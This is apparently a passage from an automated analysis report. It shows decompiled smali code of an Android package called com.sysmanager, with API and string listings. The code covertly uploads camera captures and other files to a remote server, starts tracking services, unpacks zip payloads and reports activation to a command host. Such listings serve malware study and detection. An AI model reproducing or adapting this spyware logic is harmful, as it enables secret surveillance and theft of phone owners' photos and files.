53invoke-virtual {p0}, Lcom/sysmanager/system/AndroidMDMSupport;->getFilesDir()Ljava/io/File;
54move-result-object v3
56invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
57move-result-object v2
59const-string v3, "/.social"
61invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
62move-result-object v2
64invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
65move-result-object v2
67invoke-direct {v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
68iput-object v1, p0, Lcom/sysmanager/system/AndroidMDMSupport;->mDir:Ljava/io/File;
70iget-object v1, p0, Lcom/sysmanager/system/AndroidMDMSupport;->mDir:Ljava/io/File;
72invoke-virtual {v1}, Ljava/io/File;->exists()Z
73move-result v1
74if-nez v1, :cond_41
76iget-object v1, p0, Lcom/sysmanager/system/AndroidMDMSupport;->mDir:Ljava/io/File;
78invoke-virtual {v1}, Ljava/io/File;->mkdir()Z
79try_end_6d: goto/16 :goto_41
80catch_6e: move-exception v0
82invoke-virtual {p0}, Lcom/sysmanager/system/AndroidMDMSupport;->getApplicationContext()Landroid/content/Context;
83move-result-object v1
85invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
86move-result-object v2
88invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
89goto/16 :goto_41
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • android.content.Intent.putExtra
  • android.content.Context.startService
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • android.content.Context.startService
Strings
  • col07
  • col06
  • extra_accuracy
  • extra_force
  • col25
  • extra_move
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.prologue
2const/4 v5, 0x0
3const/4 v4, 0x1
5invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
6move-result-object v6
8const-string v7, "col07"
10invoke-virtual {v6, v7}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
11move-result v6
12if-ne v6, v4, :cond_49
13move v1, v4
14goto_f:
15invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
16move-result-object v6
18const-string v7, "col06"
20invoke-virtual {v6, v7}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
21move-result v6
22if-ne v6, v4, :cond_4b
23move v3, v4
24goto_1c: if-eqz v1, :cond_4f
25new-instance v0, Landroid/content/Intent;
26const-class v6, Lcom/sysmanager/system/AndroidSystemQueues;
28invoke-direct {v0, p0, v6}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
30const-string v6, "extra_accuracy"
31const/16 v7, 0x64
33invoke-virtual {v0, v6, v7}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
35const-string v6, "extra_force"
37invoke-virtual {v0, v6, v4}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent;
39invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
40move-result-object v6
42const-string v7, "col25"
44invoke-virtual {v6, v7}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
45move-result v6
46if-ne v6, v4, :cond_4d
47move v2, v4
48goto_3e: if-eqz v2, :cond_45
50const-string v5, "extra_move"
52invoke-virtual {v0, v5, v4}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent;
53cond_45:
54invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
55cond_48: return-void
56cond_49: move v1, v5
57goto/16 :goto_f
58cond_4b: move v3, v5
59goto/16 :goto_1c
60cond_4d: move v2, v5
61goto/16 :goto_3e
62cond_4f: if-eqz v3, :cond_48
63new-instance v0, Landroid/content/Intent;
64const-class v5, Lcom/sysmanager/system/AndroidSystemQueues;
66invoke-direct {v0, p0, v5}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
68const-string v5, "extra_accuracy"
69const/16 v6, 0x66
71invoke-virtual {v0, v5, v6}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
73const-string v5, "extra_force"
75invoke-virtual {v0, v5, v4}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent;
77invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
78goto/16 :goto_48
Cross References
APIs
  • com.sysmanager.system.AndroidFileManager.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • com.sysmanager.system.AndroidFileManager.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • com.sysmanager.system.AndroidFileManager.getApplicationContext
  • java.lang.String.split
  • java.lang.String.replace
  • java.io.File.<init>
  • java.lang.String.split
  • com.sysmanager.system.AndroidFileManager.tryToSendFile
  • com.sysmanager.system.AndroidFileManager.getApplicationContext
  • com.sysmanager.system.AndroidFileManager.stopSelf
Strings
  • col04
  • col20
  • /
Position Instruction Meta Information
0.param p1, "file2send" # Ljava/lang/String;
1.prologue
2const/4 v3, 0x1
3const/4 v4, 0x0
4try_start_2:
5invoke-virtual {p0}, Lcom/sysmanager/system/AndroidFileManager;->getApplicationContext()Landroid/content/Context;
6move-result-object v1
7iput-object v1, p0, Lcom/sysmanager/system/AndroidFileManager;->context:Landroid/content/Context;
9iget-object v1, p0, Lcom/sysmanager/system/AndroidFileManager;->context:Landroid/content/Context;
11invoke-static {v1}, Lcom/sysmanager/network/NetworkUtil;->getConnectivityStatus(Landroid/content/Context;)I
12move-result v1
13iput v1, p0, Lcom/sysmanager/system/AndroidFileManager;->status:I
15invoke-virtual {p0}, Lcom/sysmanager/system/AndroidFileManager;->getApplicationContext()Landroid/content/Context;
16move-result-object v1
18invoke-static {v1}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
19move-result-object v1
21const-string v2, "col04"
23invoke-virtual {v1, v2}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
24move-result v1
25if-ne v1, v3, :cond_36
27invoke-virtual {p0}, Lcom/sysmanager/system/AndroidFileManager;->getApplicationContext()Landroid/content/Context;
28move-result-object v1
30invoke-static {v1}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
31move-result-object v1
33const-string v2, "col20"
35invoke-virtual {v1, v2}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
36move-result v1
37if-nez v1, :cond_46
38const/4 v1, 0x1
39iput-boolean v1, p0, Lcom/sysmanager/system/AndroidFileManager;->WIFI_CONNECTION:Z
40const/4 v1, 0x0
41iput-boolean v1, p0, Lcom/sysmanager/system/AndroidFileManager;->WIFI_3G_CONNECTION:Z
42cond_36:
43iget-object v1, p0, Lcom/sysmanager/system/AndroidFileManager;->context:Landroid/content/Context;
45invoke-static {v1}, Lcom/sysmanager/network/NetworkUtil;->getConnectivityStatus(Landroid/content/Context;)I
46move-result v1
47iput v1, p0, Lcom/sysmanager/system/AndroidFileManager;->status:I
48iget v1, p0, Lcom/sysmanager/system/AndroidFileManager;->status:I
49if-nez v1, :cond_5c
50const/4 v1, 0x0
51iput-boolean v1, p0, Lcom/sysmanager/system/AndroidFileManager;->sending:Z
52goto_45: return-void
53cond_46: const/4 v1, 0x0
54iput-boolean v1, p0, Lcom/sysmanager/system/AndroidFileManager;->WIFI_CONNECTION:Z
55const/4 v1, 0x1
56iput-boolean v1, p0, Lcom/sysmanager/system/AndroidFileManager;->WIFI_3G_CONNECTION:Z
57try_end_4c: goto/16 :goto_36
58catch_4d: move-exception v0
60invoke-virtual {p0}, Lcom/sysmanager/system/AndroidFileManager;->getApplicationContext()Landroid/content/Context;
61move-result-object v1
63invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
64move-result-object v2
66invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
67iput-boolean v4, p0, Lcom/sysmanager/system/AndroidFileManager;->sending:Z
68goto/16 :goto_45
69try_start_5c: iget v1, p0, Lcom/sysmanager/system/AndroidFileManager;->status:I
70if-ne v1, v3, :cond_64
71iget-boolean v1, p0, Lcom/sysmanager/system/AndroidFileManager;->WIFI_CONNECTION:Z
72if-nez v1, :cond_68
73cond_64: iget-boolean v1, p0, Lcom/sysmanager/system/AndroidFileManager;->WIFI_3G_CONNECTION:Z
74try_end_66: if-eqz v1, :cond_ab
75try_start_68: new-instance v1, Ljava/io/File;
77const-string v2, "/"
79invoke-virtual {p1, v2}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
80move-result-object v2
82const-string v3, "/"
84invoke-virtual {p1, v3}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
85move-result-object v3
86array-length v3, v3
87add-int/lit8 v3, v3, -0x1
88aget-object v2, v2, v3
90const-string v3, ""
92invoke-virtual {p1, v2, v3}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
93move-result-object v2
95invoke-direct {v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
96iput-object v1, p0, Lcom/sysmanager/system/AndroidFileManager;->mOutputDir:Ljava/io/File;
98const-string v1, "/"
100invoke-virtual {p1, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
101move-result-object v1
103const-string v2, "/"
105invoke-virtual {p1, v2}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
106move-result-object v2
107array-length v2, v2
108add-int/lit8 v2, v2, -0x1
109aget-object p1, v1, v2
111invoke-virtual {p0, p1}, Lcom/sysmanager/system/AndroidFileManager;->tryToSendFile(Ljava/lang/String;)V
112try_end_9a: goto/16 :goto_45
113catch_9b: move-exception v0
114try_start_9c:
115invoke-virtual {p0}, Lcom/sysmanager/system/AndroidFileManager;->getApplicationContext()Landroid/content/Context;
116move-result-object v1
118invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
119move-result-object v2
121invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
122const/4 v1, 0x0
123iput-boolean v1, p0, Lcom/sysmanager/system/AndroidFileManager;->sending:Z
124goto/16 :goto_45
125cond_ab: const/4 v1, 0x0
126iput-boolean v1, p0, Lcom/sysmanager/system/AndroidFileManager;->sending:Z
128invoke-virtual {p0}, Lcom/sysmanager/system/AndroidFileManager;->stopSelf()V
129try_end_b1: goto/16 :goto_45
APIs
  • java.io.File.<init>
  • com.sysmanager.system.AndroidCamera.getApplicationContext
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.delete
  • com.sysmanager.system.AndroidCamera.stopSelf
  • com.sysmanager.system.AndroidCamera.getApplicationContext
  • java.lang.String.isEmpty
  • com.sysmanager.system.AndroidCamera.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • com.sysmanager.system.AndroidCamera.getApplicationContext
Strings
  • A70
  • upload_camera.php
  • col15
  • cameraYES
Position Instruction Meta Information
0.prologue
1const/4 v9, 0x0
2new-instance v0, Ljava/io/File;
4iget-object v1, p0, Lcom/sysmanager/system/AndroidCamera$3;->val$dirfile:Ljava/lang/String;
6invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
8iget-object v1, p0, Lcom/sysmanager/system/AndroidCamera$3;->this$0:Lcom/sysmanager/system/AndroidCamera;
10invoke-virtual {v1}, Lcom/sysmanager/system/AndroidCamera;->getApplicationContext()Landroid/content/Context;
11move-result-object v1
13invoke-static {v1}, Lcom/sysmanager/network/NetworkUtil;->getConnectivityStatus(Landroid/content/Context;)I
14move-result v7
15if-nez v7, :cond_37
16cond_14: new-instance v1, Ljava/io/File;
17new-instance v2, Ljava/lang/StringBuilder;
19invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
21iget-object v4, p0, Lcom/sysmanager/system/AndroidCamera$3;->val$dirfile:Ljava/lang/String;
23invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
24move-result-object v2
26iget-object v4, p0, Lcom/sysmanager/system/AndroidCamera$3;->val$nmfile:Ljava/lang/String;
28invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
29move-result-object v2
31invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
32move-result-object v2
34invoke-direct {v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
36invoke-virtual {v1}, Ljava/io/File;->delete()Z
38iget-object v1, p0, Lcom/sysmanager/system/AndroidCamera$3;->this$0:Lcom/sysmanager/system/AndroidCamera;
40invoke-virtual {v1}, Lcom/sysmanager/system/AndroidCamera;->stopSelf()V
41return-void
42cond_37:
43iget-object v1, p0, Lcom/sysmanager/system/AndroidCamera$3;->this$0:Lcom/sysmanager/system/AndroidCamera;
45invoke-virtual {v1}, Lcom/sysmanager/system/AndroidCamera;->getApplicationContext()Landroid/content/Context;
46move-result-object v1
48invoke-static {v1}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;)Ljava/lang/String;
49move-result-object v3
51invoke-virtual {v3}, Ljava/lang/String;->isEmpty()Z
52move-result v1
53if-nez v1, :cond_14
55iget-object v1, p0, Lcom/sysmanager/system/AndroidCamera$3;->val$nmfile:Ljava/lang/String;
57const-string v2, "A70"
59const-string v4, "upload_camera.php"
61const-string v5, ""
63iget-object v6, p0, Lcom/sysmanager/system/AndroidCamera$3;->this$0:Lcom/sysmanager/system/AndroidCamera;
65invoke-virtual {v6}, Lcom/sysmanager/system/AndroidCamera;->getApplicationContext()Landroid/content/Context;
66move-result-object v6
68invoke-static/range {v0 .. v6}, Lcom/sysmanager/network/HTTPUtility;->doFileUpload(Ljava/io/File;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)Z
69move-result v8
71iget-object v1, p0, Lcom/sysmanager/system/AndroidCamera$3;->this$0:Lcom/sysmanager/system/AndroidCamera;
72iput-boolean v9, v1, Lcom/sysmanager/system/AndroidCamera;->cameraBusy:Z
73if-eqz v8, :cond_14
75iget-object v1, p0, Lcom/sysmanager/system/AndroidCamera$3;->this$0:Lcom/sysmanager/system/AndroidCamera;
77invoke-virtual {v1}, Lcom/sysmanager/system/AndroidCamera;->getApplicationContext()Landroid/content/Context;
78move-result-object v1
80invoke-static {v1}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
81move-result-object v1
83const-string v2, "col15"
85invoke-virtual {v1, v2, v9}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
87const-string v1, "cameraYES"
89iget-object v2, p0, Lcom/sysmanager/system/AndroidCamera$3;->this$0:Lcom/sysmanager/system/AndroidCamera;
91invoke-virtual {v2}, Lcom/sysmanager/system/AndroidCamera;->getApplicationContext()Landroid/content/Context;
92move-result-object v2
94const-string v4, "A70"
96invoke-static {v1, v2, v4}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
97goto/16 :goto_14
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.FileInputStream.<init>
  • java.io.BufferedInputStream.<init>
  • java.util.zip.ZipInputStream.<init>
  • java.util.zip.ZipInputStream.getNextEntry
  • java.io.ByteArrayOutputStream.<init>
  • java.util.zip.ZipEntry.getName
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.FileOutputStream.<init>
  • java.util.zip.ZipInputStream.read
  • java.io.ByteArrayOutputStream.write
  • java.io.ByteArrayOutputStream.toByteArray
  • java.io.FileOutputStream.write
  • java.io.ByteArrayOutputStream.reset
  • java.io.IOException.printStackTrace
  • java.io.FileOutputStream.close
  • java.util.zip.ZipInputStream.closeEntry
  • java.util.zip.ZipInputStream.close
Position Instruction Meta Information
0.param p1, "path" # Ljava/lang/String;
1.param p2, "zipname" # Ljava/lang/String;
2.prologue
3const/4 v10, 0x0
4try_start_1: new-instance v7, Ljava/io/FileInputStream;
5new-instance v11, Ljava/lang/StringBuilder;
7invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
9invoke-virtual {v11, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
10move-result-object v11
12invoke-virtual {v11, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
13move-result-object v11
15invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
16move-result-object v11
18invoke-direct {v7, v11}, Ljava/io/FileInputStream;-><init>(Ljava/lang/String;)V
19new-instance v9, Ljava/util/zip/ZipInputStream;
20new-instance v11, Ljava/io/BufferedInputStream;
22invoke-direct {v11, v7}, Ljava/io/BufferedInputStream;-><init>(Ljava/io/InputStream;)V
24invoke-direct {v9, v11}, Ljava/util/zip/ZipInputStream;-><init>(Ljava/io/InputStream;)V
25goto_21:
26invoke-virtual {v9}, Ljava/util/zip/ZipInputStream;->getNextEntry()Ljava/util/zip/ZipEntry;
27move-result-object v8
28if-eqz v8, :cond_6c
29new-instance v0, Ljava/io/ByteArrayOutputStream;
31invoke-direct {v0}, Ljava/io/ByteArrayOutputStream;-><init>()V
32const/16 v11, 0x400
33new-array v1, v11, [B
35invoke-virtual {v8}, Ljava/util/zip/ZipEntry;->getName()Ljava/lang/String;
36move-result-object v5
37new-instance v6, Ljava/io/FileOutputStream;
38new-instance v11, Ljava/lang/StringBuilder;
40invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
42invoke-virtual {v11, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
43move-result-object v11
45invoke-virtual {v11, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
46move-result-object v11
48invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
49move-result-object v11
51invoke-direct {v6, v11}, Ljava/io/FileOutputStream;-><init>(Ljava/lang/String;)V
52goto_4a:
53invoke-virtual {v9, v1}, Ljava/util/zip/ZipInputStream;->read([B)I
54move-result v3
55const/4 v11, -0x1
56if-eq v3, v11, :cond_65
57const/4 v11, 0x0
59invoke-virtual {v0, v1, v11, v3}, Ljava/io/ByteArrayOutputStream;->write([BII)V
61invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
62move-result-object v2
64invoke-virtual {v6, v2}, Ljava/io/FileOutputStream;->write([B)V
66invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->reset()V
67try_end_5f: goto/16 :goto_4a
68catch_60: move-exception v4
70invoke-virtual {v4}, Ljava/io/IOException;->printStackTrace()V
71goto_64: return v10
72try_start_65:
73invoke-virtual {v6}, Ljava/io/FileOutputStream;->close()V
75invoke-virtual {v9}, Ljava/util/zip/ZipInputStream;->closeEntry()V
76goto/16 :goto_21
77cond_6c:
78invoke-virtual {v9}, Ljava/util/zip/ZipInputStream;->close()V
79try_end_6f: const/4 v10, 0x1
80goto/16 :goto_64
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • android.content.Context.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.mkdir
  • android.content.Intent.<init>
  • android.content.Context.startService
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • com.sysmanager.MessageManagement.infoEnabled
Strings
  • /cachel2/
  • col04
  • attivataYES
  • A70
  • col23
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "sendFeedback" # Z
2.prologue
3const/4 v4, 0x1
4new-instance v0, Ljava/io/File;
5new-instance v1, Ljava/lang/StringBuilder;
7invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
9invoke-virtual {p0}, Landroid/content/Context;->getFilesDir()Ljava/io/File;
10move-result-object v2
12invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
13move-result-object v1
15const-string v2, "/cachel2/"
17invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
18move-result-object v1
20invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
21move-result-object v1
23invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
25invoke-virtual {v0}, Ljava/io/File;->exists()Z
26move-result v1
27if-nez v1, :cond_26
29invoke-virtual {v0}, Ljava/io/File;->mkdir()Z
30cond_26: new-instance v1, Landroid/content/Intent;
31const-class v2, Lcom/sysmanager/system/AndroidClock;
33invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
35invoke-virtual {p0, v1}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
37invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
38move-result-object v1
40const-string v2, "col04"
42invoke-virtual {v1, v2, v4}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
43if-eqz p1, :cond_42
45const-string v1, "attivataYES"
47const-string v2, "A70"
49invoke-static {v1, p0, v2}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
50cond_42:
51invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
52move-result-object v1
54const-string v2, "col23"
56const-string v3, ""
58invoke-virtual {v1, v2, v3}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;Ljava/lang/String;)V
60invoke-static {p0, v4}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;Z)Ljava/lang/String;
62invoke-static {p0}, Lcom/sysmanager/MessageManagement;->infoEnabled(Landroid/content/Context;)V
63return-void
Cross References
APIs
  • org.json.JSONObject.<init>
  • org.json.JSONObject.put
  • org.json.JSONObject.<init>
  • org.json.JSONObject.toString
  • java.lang.String.getBytes
  • android.util.Base64.encodeToString
  • org.json.JSONObject.put
  • org.json.JSONObject.toString
  • android.util.Log.d
  • java.lang.String.getBytes
  • android.util.Base64.decode
  • com.sysmanager.Scontext.getContext
Strings
  • serialnumber
  • A70
  • data
  • MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1FVW0VHPqI9PJ2n0dPkMTxLpz/b2ffSP\ncwKCinrxmO7oNitj3CYFbFWXUrUUdRFtdiuHnGTJFtce6DTorSw9G+bOfq270+crNeVpRssqcyT0\nTDj7tNpaQCqE7g33zYyqjy0cbZYNa/LQL2707Id1bd8rPxsWBhDCvwvfpOvTWzKPiU62KBG7LXQV\nVjhlfJ7z/PSSNEA9sBpVOAdDtIBdiIHfcvygqAVpeezdNPx36/PRkyP2L/YNmbqJ0lTXqEnCU5g3\nQPxCT4C3W4l2S0m9/m9nyB4ARdHromuwKZaOMfoti7mb/nFVevThh14v4bkzekwC6KNC6P5rlBJe\nNglV1wIDAQAB
  • VALUE
  • Log KEY DEST
  • KO
Position Instruction Meta Information
0.param p0, "targetUrl" # Ljava/lang/String;
1.prologue
2try_start_0: new-instance v3, Lorg/json/JSONObject;
4invoke-direct {v3}, Lorg/json/JSONObject;-><init>()V
6const-string v9, "serialnumber"
8const-string v10, "A70"
10invoke-virtual {v3, v9, v10}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
11new-instance v4, Lorg/json/JSONObject;
13invoke-direct {v4}, Lorg/json/JSONObject;-><init>()V
15const-string v9, "data"
17invoke-virtual {v3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
18move-result-object v10
20invoke-virtual {v10}, Ljava/lang/String;->getBytes()[B
21move-result-object v10
23const-string v11, "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1FVW0VHPqI9PJ2n0dPkMTxLpz/b2ffSP\ncwKCinrxmO7oNitj3CYFbFWXUrUUdRFtdiuHnGTJFtce6DTorSw9G+bOfq270+crNeVpRssqcyT0\nTDj7tNpaQCqE7g33zYyqjy0cbZYNa/LQL2707Id1bd8rPxsWBhDCvwvfpOvTWzKPiU62KBG7LXQV\nVjhlfJ7z/PSSNEA9sBpVOAdDtIBdiIHfcvygqAVpeezdNPx36/PRkyP2L/YNmbqJ0lTXqEnCU5g3\nQPxCT4C3W4l2S0m9/m9nyB4ARdHromuwKZaOMfoti7mb/nFVevThh14v4bkzekwC6KNC6P5rlBJe\nNglV1wIDAQAB"
25invoke-static {v11}, Lcom/sysmanager/cryptoutils/rsaUtils/PublicKeyReader;->get(Ljava/lang/String;)Ljava/security/PublicKey;
26move-result-object v11
28invoke-static {v10, v11}, Lcom/sysmanager/cryptoutils/RSAUtils;->rsaEncrypt([BLjava/security/PublicKey;)[B
29move-result-object v10
30const/4 v11, 0x0
32invoke-static {v10, v11}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;
33move-result-object v10
35invoke-virtual {v4, v9, v10}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
37sget-object v9, Lcom/sysmanager/network/HTTPUtility;->JSON:Lokhttp3/MediaType;
39invoke-virtual {v4}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
40move-result-object v10
42invoke-static {v9, v10}, Lokhttp3/RequestBody;->create(Lokhttp3/MediaType;Ljava/lang/String;)Lokhttp3/RequestBody;
43move-result-object v0
44new-instance v9, Lokhttp3/Request$Builder;
46invoke-direct {v9}, Lokhttp3/Request$Builder;-><init>()V
48const-string v10, "VALUE"
50const-string v11, "A70"
52invoke-virtual {v9, v10, v11}, Lokhttp3/Request$Builder;->addHeader(Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Request$Builder;
53move-result-object v9
55invoke-virtual {v9, p0}, Lokhttp3/Request$Builder;->url(Ljava/lang/String;)Lokhttp3/Request$Builder;
56move-result-object v9
58invoke-virtual {v9, v0}, Lokhttp3/Request$Builder;->post(Lokhttp3/RequestBody;)Lokhttp3/Request$Builder;
59move-result-object v9
61invoke-virtual {v9}, Lokhttp3/Request$Builder;->build()Lokhttp3/Request;
62move-result-object v5
63new-instance v9, Lokhttp3/OkHttpClient$Builder;
65invoke-direct {v9}, Lokhttp3/OkHttpClient$Builder;-><init>()V
66const-wide/16 v10, 0x6
68sget-object v12, Ljava/util/concurrent/TimeUnit;->MINUTES:Ljava/util/concurrent/TimeUnit;
70invoke-virtual {v9, v10, v11, v12}, Lokhttp3/OkHttpClient$Builder;->connectTimeout(JLjava/util/concurrent/TimeUnit;)Lokhttp3/OkHttpClient$Builder;
71move-result-object v9
72const-wide/16 v10, 0x6
74sget-object v12, Ljava/util/concurrent/TimeUnit;->MINUTES:Ljava/util/concurrent/TimeUnit;
76invoke-virtual {v9, v10, v11, v12}, Lokhttp3/OkHttpClient$Builder;->readTimeout(JLjava/util/concurrent/TimeUnit;)Lokhttp3/OkHttpClient$Builder;
77move-result-object v9
78const-wide/16 v10, 0x6
80sget-object v12, Ljava/util/concurrent/TimeUnit;->MINUTES:Ljava/util/concurrent/TimeUnit;
82invoke-virtual {v9, v10, v11, v12}, Lokhttp3/OkHttpClient$Builder;->writeTimeout(JLjava/util/concurrent/TimeUnit;)Lokhttp3/OkHttpClient$Builder;
83move-result-object v9
85invoke-virtual {v9}, Lokhttp3/OkHttpClient$Builder;->build()Lokhttp3/OkHttpClient;
86move-result-object v1
88invoke-virtual {v1, v5}, Lokhttp3/OkHttpClient;->newCall(Lokhttp3/Request;)Lokhttp3/Call;
89move-result-object v9
91invoke-interface {v9}, Lokhttp3/Call;->execute()Lokhttp3/Response;
92move-result-object v8
94invoke-virtual {v8}, Lokhttp3/Response;->body()Lokhttp3/ResponseBody;
95move-result-object v9
97invoke-virtual {v9}, Lokhttp3/ResponseBody;->string()Ljava/lang/String;
98move-result-object v6
100const-string v9, "Log KEY DEST"
102invoke-static {v9, v6}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
